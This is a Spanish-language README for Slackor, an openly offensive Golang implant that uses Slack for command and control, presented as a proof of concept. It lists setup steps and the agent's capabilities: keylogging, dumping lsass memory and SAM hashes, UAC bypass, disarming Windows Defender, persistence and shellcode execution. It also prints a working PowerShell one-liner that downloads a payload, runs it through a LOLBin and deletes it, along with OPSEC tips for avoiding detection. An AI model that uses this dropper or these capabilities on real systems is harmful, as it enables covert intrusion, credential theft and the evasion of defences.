Slackor #

Mantenido en https://github.com/n00py/Slackor

Un implante en Golang que usa Slack como canal de comando y control.

Este proyecto fue inspirado por Gcat y Twittor.

Esta herramienta se publica como prueba de concepto. Asegúrese de leer y comprender la Política de Desarrollador de Aplicaciones de Slack antes de crear cualquier aplicación de Slack.

Configuración

Nota: El servidor está escrito en Python 3

Para que esto funcione necesitas:

• Un espacio de trabajo de Slack

• Registra una aplicación con los siguientes permisos:

  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read

• Crea un bot

Este repositorio contiene cinco archivos:

• install.sh Instala dependencias
• setup.py El script para crear los canales de Slack, la base de datos y el implante
• agent.py Script para generar nuevos implantes
• server.py El servidor Slackor, diseñado para ejecutarse en Linux
• agent.go El implante en golang
• requirements.txt Dependencias de Python (instaladas automáticamente)

Para empezar:

• go get github.com/Coalfire-Research/Slackor
• cd $GOPATH/src/github.com/Coalfire-Research/Slackor
• Ejecuta install.sh
• Ejecuta setup.py
  • Proporciona el OAuth Access Token y el Bot User OAuth Access Token de tu aplicación

Después de ejecutar el script correctamente, se crearán varios archivos en el directorio dist/:

• agent.windows.exe: Binario de Windows 64 bits
• agent.upx.exe: Binario de Windows 64 bits, empaquetado con UPX
• agent.darwin: Binario de macOS 64 bits
• agent.32.linux: Binario de Linux 32 bits
• agent.64.linux: Binario de Linux 64 bits

Después de iniciar server.py en un host Linux, ejecuta el agente que corresponda para tu host objetivo.

Ejecuta el módulo "stager" para generar un one-liner y otros droppers.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

Esto ejecutará InvokeWebRequest(PS v.3+) para descargar el payload, ejecutarlo usando un LOLBin, y luego eliminarse a sí mismo una vez terminado. Este es un ejemplo funcional, pero el comando se puede ajustar para usar otro método de descarga o ejecución.

Uso

Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles. Escribe "help [COMANDO]" para ver una descripción de ese comando.

(Slackor)

• help - Muestra el menú de ayuda
• interact - Interactúa con un agente
• list - Lista todos los agentes registrados
• remove - Mata y elimina un agente
• revive - Envía una señal a todos los agentes para que se vuelvan a registrar con el servidor
• stager - Genera un one-liner para descargar y ejecutar el implante
• quit - Sale del programa
• wipefiles - Elimina todos los archivos subidos de Slack

Una vez que un agente se registra, puedes interactuar con él. Usa "interact [AGENTE]" para ingresar al prompt del agente. Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles.

(Slackor:AGENTE)

• Comandos Comunes
  • back - Vuelve al menú principal
  • beacon - Cambia el intervalo entre cada check-in de un agente (por defecto 5 segundos)
  • download - Descarga un archivo del agente al servidor Slackor
  • help - Muestra el menú de ayuda
  • kill - Mata al agente
  • sleep - Hace que el agente duerma una vez (ingresa el tiempo en segundos)
  • sysinfo - Muestra el usuario actual, versión del SO, arquitectura del sistema y número de núcleos de CPU
  • upload - Sube un archivo al agente desde el servidor Slackor
  • wget - Descarga archivos arbitrarios sobre HTTP/HTTPS
• Comandos de Windows
  • bypassuac - Intenta generar un agente de alta integridad
  • cleanup - Elimina artefactos de persistencia
  • clipboard - Recupera el contenido del portapapeles
  • defanger - Intenta desarmar Windows Defender
  • duplicate - Hace que el agente genere otra invocación de sí mismo
  • getsystem - Genera un agente como NTAUTHORITY\SYSTEM
  • keyscan - Inicia un keylogger en el agente
  • minidump - Vuelca la memoria de lsass.exe y la descarga
  • persist - Crea persistencia implantando un binario en un ADS
  • samdump - Intenta volcar el archivo SAM para extracción offline de hashes
  • screenshot - Toma una captura de pantalla del escritorio y la recupera
  • shellcode - Ejecuta shellcode x64 en crudo
• Comandos de Mac
• Comandos de Linux
  • screenshot - Toma una captura de pantalla del escritorio y la recupera

Consideraciones de OPSEC

La salida de comandos y los archivos descargados están cifrados con AES además del cifrado de transporte TLS de Slack.

Los módulos te advertirán antes de realizar tareas que escriban en disco.
Al ejecutar comandos de shell, ten en cuenta que se ejecutará cmd.exe/bash. Esto puede ser monitoreado en el host. Aquí hay varios comandos seguros para OPSEC que NO ejecutarán cmd.exe/bash:

• cat - imprime el contenido del archivo
• cd - cambia de directorio
• find - busca nombres de archivos en directorios
• getip - Obtiene la dirección IP externa (hace una solicitud DNS)
• hostname - Muestra el nombre del host
• ifconfig - Muestra información de interfaces
• ls - lista el contenido del directorio
• mkdir - crea un directorio
• pwd - imprime el directorio de trabajo actual
• rm - elimina un archivo
• rmdir - elimina un directorio
• whoami / getuid - imprime el usuario actual

Créditos

• https://github.com/EgeBalci - Funciones adaptadas de HERCULES y EGESPLOIT
• https://github.com/SaturnsVoid - Keylogger adaptado de GoBot2
• https://github.com/vyrus001 - Ejecución de shellcode x64 shellGo
• Funciones criptográficas adoptadas de https://www.golang123.com/topic/1686
• Idea de persistencia de Enigma0x3
• Minidump adoptado de Merlin, crédito a C-Sto
• Código de captura de pantalla de kbinani
• Código de portapapeles de atotto
• Generador de stager de hlldz
• Bypass de UAC por winscripting.blog
• Hallazgo de Lulzbin por @vector_sec
• Innumerables hilos en StackOverflow
• Gracias a impacket por volcar hashes de los archivos de registro SAM/SYS/SECURITY.
• Extracción de credenciales del volcado de LSASS posible gracias a pypykatz de skelsec
• Bob Aman (Sporkmonger) por varias adiciones